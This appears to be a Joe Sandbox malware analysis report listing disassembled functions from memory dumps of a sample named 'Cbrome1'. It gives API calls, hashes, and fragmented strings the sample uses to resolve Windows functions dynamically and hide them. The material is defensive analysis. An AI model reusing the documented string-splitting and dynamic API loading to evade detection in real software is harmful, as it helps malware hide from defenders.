Instruction Fuzzy Hash: F601D633A10B8086E7645B25EC547AE2B70F384F84F194079DFD94B386CA29DA528345

Function 0000023A29E2D1F8 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32 ref: 0000023A29E2D248

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 489544c5c1561f8a60114285fa019722ad62f90afbd21461303d513425ade99a
Instruction ID: ca988979e4b818151c2a331bd78783f8736eedb7acb05e5ac01258bb4c675398
Opcode Fuzzy Hash: 489544c5c1561f8a60114285fa019722ad62f90afbd21461303d513425ade99a
Instruction Fuzzy Hash: 9D113073A0470486FB599B31C45A7AF27B1FB58F09F18442A8F89462D9C7BCC6F5C682

Function 0000023A29E2D290 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

EnumSystemLocalesA.KERNEL32 ref: 0000023A29E2D2C5

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: bc37c9b42174135312cbea834ff9070d3af06bb7d383e6c7897b2d83843f5dbd
Instruction ID: 1e98367fc15ec0d68b58dd2d9849b470e4aef03f2f230f3f500c9f9e5c93d58c
Opcode Fuzzy Hash: bc37c9b42174135312cbea834ff9070d3af06bb7d383e6c7897b2d83843f5dbd
Instruction Fuzzy Hash: C2F0A473E007044AF7148A31C4197AF26F1BB98F09F18843ACF89022D6C66CC6F18246

Function 0000023A29E1E6F6 Relevance: 1.5, APIs: 1, Instructions: 12shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E12DB0: LoadLibraryA.KERNEL32 ref: 0000023A29E12DE1
Part of subcall function 0000023A29E12DB0: GetProcAddress.KERNEL32 ref: 0000023A29E12DF4
Part of subcall function 0000023A29E12DB0: GetProcAddress.KERNEL32 ref: 0000023A29E12E07
Part of subcall function 0000023A29E12DB0: GetProcAddress.KERNEL32 ref: 0000023A29E12E1A
Part of subcall function 0000023A29E12DB0: LoadLibraryA.KERNEL32 ref: 0000023A29E12E2A
Part of subcall function 0000023A29E12DB0: GetProcAddress.KERNEL32 ref: 0000023A29E12E3D
Part of subcall function 0000023A29E12DB0: LoadLibraryA.KERNEL32 ref: 0000023A29E12EA6
Part of subcall function 0000023A29E12DB0: GetProcAddress.KERNEL32 ref: 0000023A29E12EB6
Part of subcall function 0000023A29E12DB0: CloseHandle.KERNEL32 ref: 0000023A29E12ECC
Part of subcall function 0000023A29E12DB0: FreeLibrary.KERNEL32 ref: 0000023A29E12EDA
Part of subcall function 0000023A29E12DB0: FreeLibrary.KERNEL32 ref: 0000023A29E12EE8

ExitWindowsEx.USER32 ref: 0000023A29E1E706

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AddressLibraryProc$Load$Free$CloseExitHandleWindows
String ID:
API String ID: 3789203340-0
Opcode ID: b68418adac8e66983115cef8cbfa72da0d8c9e8de32800c15d5dd586479a703b
Instruction ID: b9ba41a2931b5ef5d181063406442f02705d07079e2575bd1c9ddbd7853eb39a
Opcode Fuzzy Hash: b68418adac8e66983115cef8cbfa72da0d8c9e8de32800c15d5dd586479a703b
Instruction Fuzzy Hash: 73D0A77120868041E7041B21E4247FB6372F748B51F080039AF8605686CD2DC6509A41

Function 0000023A295DD42B Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

<, xrefs: 0000023A295DD5CC

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 73098f46f60a16aae0a72572a1ec70f99aad56feaba569bcaf3d060d2753bf39
Instruction ID: 90f7deef3f056aca0c22f7702881cc7a6c2cbb4088f988d8d491548ced13c0fb
Opcode Fuzzy Hash: 73098f46f60a16aae0a72572a1ec70f99aad56feaba569bcaf3d060d2753bf39
Instruction Fuzzy Hash: B3517230709A088FEB54EF28E84D75A77E1FB95304F00852EE44EC35A1DB79D955CB42

Function 0000023A29E2664C Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

_.,, xrefs: 0000023A29E266CC

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CurrentProcess
String ID: _.,
API String ID: 2050909247-2709443920
Opcode ID: 0e7019ad77b11a3fd7c5fb922a025f2c5f7fe516fc606dd4fbed53498454cb13
Instruction ID: fa8d61db0d8a0f1a42a4ceb70b4d03a7f35b389998326967f125517169abac49
Opcode Fuzzy Hash: 0e7019ad77b11a3fd7c5fb922a025f2c5f7fe516fc606dd4fbed53498454cb13
Instruction Fuzzy Hash: 8041E4B1A0078146FB749A31A85DF6B27B1B394F84F44463EDEC546AC5DF6DCA24C702

Function 0000023A295D1D38 Relevance: .4, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dab8ebfa01812288c2bd50781cb84577b5c6f6cad01aab0e39859907a87239e
Instruction ID: 2418774174a2a09fa1c22d40d444228ced994943c0de9853cf2b1534e4e386c2
Opcode Fuzzy Hash: 0dab8ebfa01812288c2bd50781cb84577b5c6f6cad01aab0e39859907a87239e
Instruction Fuzzy Hash: 4BB1B230718E094FEB5D9F2CC48967AB3E1FB58B01F10422DD89AC7186DB34E9668BD1

Function 0000023A295E1E58 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05a5092d5cc288cda86c73315a18dfdcc9fc45c27ff5f31e837379ae7296e616
Instruction ID: f80532451427f4a5b191a880373eb52aa752ee2d24b5c1485489c598f56a6e70
Opcode Fuzzy Hash: 05a5092d5cc288cda86c73315a18dfdcc9fc45c27ff5f31e837379ae7296e616
Instruction Fuzzy Hash: 7EB1F630714A084FEB9CEB18C48876677E1FB98701F54416DE8CAC72D6DA3AD996C782

Function 0000023A295D1838 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61aec3bdabeeadfbc1d8e5710c9ac84fee701a44b258acd76909b7ab279bb187
Instruction ID: 81cfd16b74f016d4056e2a50337505df1043886cb59be12307534daccbd236cb
Opcode Fuzzy Hash: 61aec3bdabeeadfbc1d8e5710c9ac84fee701a44b258acd76909b7ab279bb187
Instruction Fuzzy Hash: 48B19030708E459FE74DEB3884593A6B7E1FF59705F10422DE8CAC3641DB28E9668BD2

Function 0000023A295D3EE8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b81d4822c4807a28f12dd8b260e015ce51efabee9554ea12fc3a4bfb19bb2c28
Instruction ID: 2efb14bb2d9496ff82067208209c8effeb9bc7ecb20540d7498902fd533f849b
Opcode Fuzzy Hash: b81d4822c4807a28f12dd8b260e015ce51efabee9554ea12fc3a4bfb19bb2c28
Instruction Fuzzy Hash: 11717231608A488FE769EF34E85D7AB77E1FBA4310F60452ED48EC31A1DE39DA158742

Function 0000023A295E6004 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0a9c087c29423ca0a5297be30a63c1d1af4924b03ac0995c240b3f4ccd4690
Instruction ID: 58e89b2cba34b16a17c74ea046358017f13398b58b3975c3d480d698e7ea881f
Opcode Fuzzy Hash: 5e0a9c087c29423ca0a5297be30a63c1d1af4924b03ac0995c240b3f4ccd4690
Instruction Fuzzy Hash: 5551AE30314A588EFB6DEA34884D3AB73E1F794784F05897DD9C7C21C3DA3ADA594682

Function 0000023A29E35CC0 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction ID: 3be8a06fb3671a1279e65271bfadf54670796c24d3e4c12194bf317b2d150e18
Opcode Fuzzy Hash: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction Fuzzy Hash: FF510372B143A08BE7588F09E40CF6A3AA9F394785F95D03CDE5687F40DA79CD608B05

Function 0000023A29E36520 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 51e66c421ddad47eb36a36b64a1f64ef9ad45c885f1a353e6edeb615d0cb86a9
Instruction ID: a6286e81de9a46c3219a79bfd917fc16932cba92c2d6d4016f418c0c18e46f4f
Opcode Fuzzy Hash: 51e66c421ddad47eb36a36b64a1f64ef9ad45c885f1a353e6edeb615d0cb86a9
Instruction Fuzzy Hash: B1315072601B4089E71CEF32E85676F22B5F784B84F18D839AEC94B64ACF78C5218341

Function 0000023A295EB0FC Relevance: 107.8, APIs: 86, Instructions: 270COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0000023A295EB111

Part of subcall function 0000023A295E36E0: _errno.LIBCMT ref: 0000023A295E3700

free.LIBCMT ref: 0000023A295EB11A
free.LIBCMT ref: 0000023A295EB123
free.LIBCMT ref: 0000023A295EB12C
free.LIBCMT ref: 0000023A295EB135
free.LIBCMT ref: 0000023A295EB13E
free.LIBCMT ref: 0000023A295EB146
free.LIBCMT ref: 0000023A295EB14F
free.LIBCMT ref: 0000023A295EB158
free.LIBCMT ref: 0000023A295EB161
free.LIBCMT ref: 0000023A295EB16A
free.LIBCMT ref: 0000023A295EB173
free.LIBCMT ref: 0000023A295EB17C
free.LIBCMT ref: 0000023A295EB185
free.LIBCMT ref: 0000023A295EB18E
free.LIBCMT ref: 0000023A295EB197
free.LIBCMT ref: 0000023A295EB1A3
free.LIBCMT ref: 0000023A295EB1AF
free.LIBCMT ref: 0000023A295EB1BB
free.LIBCMT ref: 0000023A295EB1C7
free.LIBCMT ref: 0000023A295EB1D3
free.LIBCMT ref: 0000023A295EB1DF
free.LIBCMT ref: 0000023A295EB1EB
free.LIBCMT ref: 0000023A295EB1F7
free.LIBCMT ref: 0000023A295EB203
free.LIBCMT ref: 0000023A295EB20F
free.LIBCMT ref: 0000023A295EB21B
free.LIBCMT ref: 0000023A295EB227
free.LIBCMT ref: 0000023A295EB233
free.LIBCMT ref: 0000023A295EB23F
free.LIBCMT ref: 0000023A295EB24B
free.LIBCMT ref: 0000023A295EB257
free.LIBCMT ref: 0000023A295EB263
free.LIBCMT ref: 0000023A295EB26F
free.LIBCMT ref: 0000023A295EB27B
free.LIBCMT ref: 0000023A295EB287
free.LIBCMT ref: 0000023A295EB293
free.LIBCMT ref: 0000023A295EB29F
free.LIBCMT ref: 0000023A295EB2AB
free.LIBCMT ref: 0000023A295EB2B7
free.LIBCMT ref: 0000023A295EB2C3
free.LIBCMT ref: 0000023A295EB2CF
free.LIBCMT ref: 0000023A295EB2DB
free.LIBCMT ref: 0000023A295EB2E7
free.LIBCMT ref: 0000023A295EB2F3
free.LIBCMT ref: 0000023A295EB2FF
free.LIBCMT ref: 0000023A295EB30B
free.LIBCMT ref: 0000023A295EB317
free.LIBCMT ref: 0000023A295EB323
free.LIBCMT ref: 0000023A295EB32F
free.LIBCMT ref: 0000023A295EB33B
free.LIBCMT ref: 0000023A295EB347
free.LIBCMT ref: 0000023A295EB353
free.LIBCMT ref: 0000023A295EB35F
free.LIBCMT ref: 0000023A295EB36B
free.LIBCMT ref: 0000023A295EB377
free.LIBCMT ref: 0000023A295EB383
free.LIBCMT ref: 0000023A295EB38F
free.LIBCMT ref: 0000023A295EB39B
free.LIBCMT ref: 0000023A295EB3A7
free.LIBCMT ref: 0000023A295EB3B3
free.LIBCMT ref: 0000023A295EB3BF
free.LIBCMT ref: 0000023A295EB3CB
free.LIBCMT ref: 0000023A295EB3D7
free.LIBCMT ref: 0000023A295EB3E3
free.LIBCMT ref: 0000023A295EB3EF
free.LIBCMT ref: 0000023A295EB3FB
free.LIBCMT ref: 0000023A295EB407
free.LIBCMT ref: 0000023A295EB413
free.LIBCMT ref: 0000023A295EB41F
free.LIBCMT ref: 0000023A295EB42B
free.LIBCMT ref: 0000023A295EB437
free.LIBCMT ref: 0000023A295EB443
free.LIBCMT ref: 0000023A295EB44F
free.LIBCMT ref: 0000023A295EB45B
free.LIBCMT ref: 0000023A295EB467
free.LIBCMT ref: 0000023A295EB473
free.LIBCMT ref: 0000023A295EB47F
free.LIBCMT ref: 0000023A295EB48B
free.LIBCMT ref: 0000023A295EB497
free.LIBCMT ref: 0000023A295EB4A3
free.LIBCMT ref: 0000023A295EB4AF
free.LIBCMT ref: 0000023A295EB4BB
free.LIBCMT ref: 0000023A295EB4C7
free.LIBCMT ref: 0000023A295EB4D3
free.LIBCMT ref: 0000023A295EB4DF

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction ID: 7c18fa44742885bbf92f88de3f1720f00808142f65d080fc926c402212be7489
Opcode Fuzzy Hash: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction Fuzzy Hash: 89B173303215084FEA89EFA6D4E97DA6361BB48740F8441F8DCCD8A2A7CE375A5DC752

Function 0000023A29E2B744 Relevance: 107.7, APIs: 86, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0000023A29E2B759

Part of subcall function 0000023A29E23D28: HeapFree.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D3E
Part of subcall function 0000023A29E23D28: _errno.LIBCMT ref: 0000023A29E23D48
Part of subcall function 0000023A29E23D28: GetLastError.KERNEL32(?,?,00000000,0000023A29E24940,?,?,?,0000023A29E23209,?,?,?,?,0000023A29E33CCA), ref: 0000023A29E23D50

free.LIBCMT ref: 0000023A29E2B762
free.LIBCMT ref: 0000023A29E2B76B
free.LIBCMT ref: 0000023A29E2B774
free.LIBCMT ref: 0000023A29E2B77D
free.LIBCMT ref: 0000023A29E2B786
free.LIBCMT ref: 0000023A29E2B78E
free.LIBCMT ref: 0000023A29E2B797
free.LIBCMT ref: 0000023A29E2B7A0
free.LIBCMT ref: 0000023A29E2B7A9
free.LIBCMT ref: 0000023A29E2B7B2
free.LIBCMT ref: 0000023A29E2B7BB
free.LIBCMT ref: 0000023A29E2B7C4
free.LIBCMT ref: 0000023A29E2B7CD
free.LIBCMT ref: 0000023A29E2B7D6
free.LIBCMT ref: 0000023A29E2B7DF
free.LIBCMT ref: 0000023A29E2B7EB
free.LIBCMT ref: 0000023A29E2B7F7
free.LIBCMT ref: 0000023A29E2B803
free.LIBCMT ref: 0000023A29E2B80F
free.LIBCMT ref: 0000023A29E2B81B
free.LIBCMT ref: 0000023A29E2B827
free.LIBCMT ref: 0000023A29E2B833
free.LIBCMT ref: 0000023A29E2B83F
free.LIBCMT ref: 0000023A29E2B84B
free.LIBCMT ref: 0000023A29E2B857
free.LIBCMT ref: 0000023A29E2B863
free.LIBCMT ref: 0000023A29E2B86F
free.LIBCMT ref: 0000023A29E2B87B
free.LIBCMT ref: 0000023A29E2B887
free.LIBCMT ref: 0000023A29E2B893
free.LIBCMT ref: 0000023A29E2B89F
free.LIBCMT ref: 0000023A29E2B8AB
free.LIBCMT ref: 0000023A29E2B8B7
free.LIBCMT ref: 0000023A29E2B8C3
free.LIBCMT ref: 0000023A29E2B8CF
free.LIBCMT ref: 0000023A29E2B8DB
free.LIBCMT ref: 0000023A29E2B8E7
free.LIBCMT ref: 0000023A29E2B8F3
free.LIBCMT ref: 0000023A29E2B8FF
free.LIBCMT ref: 0000023A29E2B90B
free.LIBCMT ref: 0000023A29E2B917
free.LIBCMT ref: 0000023A29E2B923
free.LIBCMT ref: 0000023A29E2B92F
free.LIBCMT ref: 0000023A29E2B93B
free.LIBCMT ref: 0000023A29E2B947
free.LIBCMT ref: 0000023A29E2B953
free.LIBCMT ref: 0000023A29E2B95F
free.LIBCMT ref: 0000023A29E2B96B
free.LIBCMT ref: 0000023A29E2B977
free.LIBCMT ref: 0000023A29E2B983
free.LIBCMT ref: 0000023A29E2B98F
free.LIBCMT ref: 0000023A29E2B99B
free.LIBCMT ref: 0000023A29E2B9A7
free.LIBCMT ref: 0000023A29E2B9B3
free.LIBCMT ref: 0000023A29E2B9BF
free.LIBCMT ref: 0000023A29E2B9CB
free.LIBCMT ref: 0000023A29E2B9D7
free.LIBCMT ref: 0000023A29E2B9E3
free.LIBCMT ref: 0000023A29E2B9EF
free.LIBCMT ref: 0000023A29E2B9FB
free.LIBCMT ref: 0000023A29E2BA07
free.LIBCMT ref: 0000023A29E2BA13
free.LIBCMT ref: 0000023A29E2BA1F
free.LIBCMT ref: 0000023A29E2BA2B
free.LIBCMT ref: 0000023A29E2BA37
free.LIBCMT ref: 0000023A29E2BA43
free.LIBCMT ref: 0000023A29E2BA4F
free.LIBCMT ref: 0000023A29E2BA5B
free.LIBCMT ref: 0000023A29E2BA67
free.LIBCMT ref: 0000023A29E2BA73
free.LIBCMT ref: 0000023A29E2BA7F
free.LIBCMT ref: 0000023A29E2BA8B
free.LIBCMT ref: 0000023A29E2BA97
free.LIBCMT ref: 0000023A29E2BAA3
free.LIBCMT ref: 0000023A29E2BAAF
free.LIBCMT ref: 0000023A29E2BABB
free.LIBCMT ref: 0000023A29E2BAC7
free.LIBCMT ref: 0000023A29E2BAD3
free.LIBCMT ref: 0000023A29E2BADF
free.LIBCMT ref: 0000023A29E2BAEB
free.LIBCMT ref: 0000023A29E2BAF7
free.LIBCMT ref: 0000023A29E2BB03
free.LIBCMT ref: 0000023A29E2BB0F
free.LIBCMT ref: 0000023A29E2BB1B
free.LIBCMT ref: 0000023A29E2BB27

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction ID: 2660ac8ea997a8eae5759a31cc17a1c85ffe6b9b85b79d747717e694ec1fcc74
Opcode Fuzzy Hash: 3bcfeb3b4da4738ff2c8081cfba52b5849e1802a269629de1be72a8479a25d7c
Instruction Fuzzy Hash: F4A1A532691748A0EB50BB31D8997EE1330FFC6F45F8535369E8D6B1A7CE14CA618712

Function 0000023A29E132F0 Relevance: 42.1, APIs: 4, Strings: 20, Instructions: 69libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000023A29E133B3
GetProcAddress.KERNEL32 ref: 0000023A29E133C3
GetProcAddress.KERNEL32 ref: 0000023A29E133D3
GetProcAddress.KERNEL32 ref: 0000023A29E133E3

Strings

Time, xrefs: 0000023A29E13393
yste, xrefs: 0000023A29E1333F
stem, xrefs: 0000023A29E133A1
.dll, xrefs: 0000023A29E1332D
mTim, xrefs: 0000023A29E13346
ToSy, xrefs: 0000023A29E1339A
el32, xrefs: 0000023A29E13326
ime, xrefs: 0000023A29E1335B
Kern, xrefs: 0000023A29E1331F
ileT, xrefs: 0000023A29E1337E
File, xrefs: 0000023A29E1338C
Time, xrefs: 0000023A29E13369
File, xrefs: 0000023A29E13362
calF, xrefs: 0000023A29E13377
eAsF, xrefs: 0000023A29E1334D
ime, xrefs: 0000023A29E13385
GetS, xrefs: 0000023A29E13338
ileT, xrefs: 0000023A29E13354
Time, xrefs: 0000023A29E133A8
ToLo, xrefs: 0000023A29E13370

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: .dll$File$File$GetS$Kern$Time$Time$Time$ToLo$ToSy$calF$eAsF$el32$ileT$ileT$ime$ime$mTim$stem$yste
API String ID: 2238633743-1498238681
Opcode ID: ff00a95b1e228d669d7c747e6a3e4753806e95f8e25970bfa9467526f097a296
Instruction ID: 3305963ad0d8cfffb200370a7cc04242729e263edd5678f19993e1ed675514df
Opcode Fuzzy Hash: ff00a95b1e228d669d7c747e6a3e4753806e95f8e25970bfa9467526f097a296
Instruction Fuzzy Hash: 563114B2700A41DEEB00CFA1E5957AD3B70F718B88F44452AEE5D1FB08DA78C659CB45

Function 0000023A29E2E7CC Relevance: 40.4, APIs: 16, Strings: 7, Instructions: 136libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,0000023A29E112ED), ref: 0000023A29E2E811
GetProcAddress.KERNEL32(?,?,?,?,?,0000023A29E112ED), ref: 0000023A29E2E82D
RtlEncodePointer.NTDLL ref: 0000023A29E2E83F
GetProcAddress.KERNEL32(?,?,?,?,?,0000023A29E112ED), ref: 0000023A29E2E856
RtlEncodePointer.NTDLL ref: 0000023A29E2E85F
GetProcAddress.KERNEL32(?,?,?,?,?,0000023A29E112ED), ref: 0000023A29E2E876
RtlEncodePointer.NTDLL ref: 0000023A29E2E87F
GetProcAddress.KERNEL32(?,?,?,?,?,0000023A29E112ED), ref: 0000023A29E2E896
RtlEncodePointer.NTDLL ref: 0000023A29E2E89F
GetProcAddress.KERNEL32(?,?,?,?,?,0000023A29E112ED), ref: 0000023A29E2E8BE
RtlEncodePointer.NTDLL ref: 0000023A29E2E8C7
RtlDecodePointer.NTDLL ref: 0000023A29E2E8FA
RtlDecodePointer.NTDLL ref: 0000023A29E2E90A
RtlDecodePointer.NTDLL ref: 0000023A29E2E960
RtlDecodePointer.NTDLL ref: 0000023A29E2E981
RtlDecodePointer.NTDLL ref: 0000023A29E2E99B

Strings

MessageBoxW, xrefs: 0000023A29E2E823
GetUserObjectInformationW, xrefs: 0000023A29E2E885
GetProcessWindowStation, xrefs: 0000023A29E2E8B4
USER32.DLL, xrefs: 0000023A29E2E80A
GetActiveWindow, xrefs: 0000023A29E2E845
ceil, xrefs: 0000023A29E2E7D1
GetLastActivePopup, xrefs: 0000023A29E2E865

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL$ceil
API String ID: 2643518689-1731902841
Opcode ID: dc7f515bce058812213eff212fecdc56bb59c3819f4b3c80438f9d8dd1d00741
Instruction ID: d605fb1b70fb3b4e49b2ce6d1fca4fe1196b9d671a05e1bf9e96bb552faf66be
Opcode Fuzzy Hash: dc7f515bce058812213eff212fecdc56bb59c3819f4b3c80438f9d8dd1d00741
Instruction Fuzzy Hash: 36510731606B5581FE95EB11F95CB6A23B4BB89F80F48007EDC9E02791EE3CC6659246

Function 0000023A29E13160 Relevance: 38.6, APIs: 6, Strings: 16, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 0000023A29E131DA
GetProcAddress.KERNEL32 ref: 0000023A29E131E7
LoadLibraryA.KERNEL32 ref: 0000023A29E1321B
GetProcAddress.KERNEL32 ref: 0000023A29E13228
LoadLibraryA.KERNEL32 ref: 0000023A29E13243
GetProcAddress.KERNEL32 ref: 0000023A29E13250

Strings

kTok, xrefs: 0000023A29E131F8
enMe, xrefs: 0000023A29E131FF
AndI, xrefs: 0000023A29E131BA
Chec, xrefs: 0000023A29E131F1
Allo, xrefs: 0000023A29E131AC
.dll, xrefs: 0000023A29E131A1
mber, xrefs: 0000023A29E13206
Free, xrefs: 0000023A29E13232
niti, xrefs: 0000023A29E131C1
aliz, xrefs: 0000023A29E131C8
ship, xrefs: 0000023A29E13210
cate, xrefs: 0000023A29E131B3
Adva, xrefs: 0000023A29E13193
Sid, xrefs: 0000023A29E1323C
eSid, xrefs: 0000023A29E131CF
pi32, xrefs: 0000023A29E1319A

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

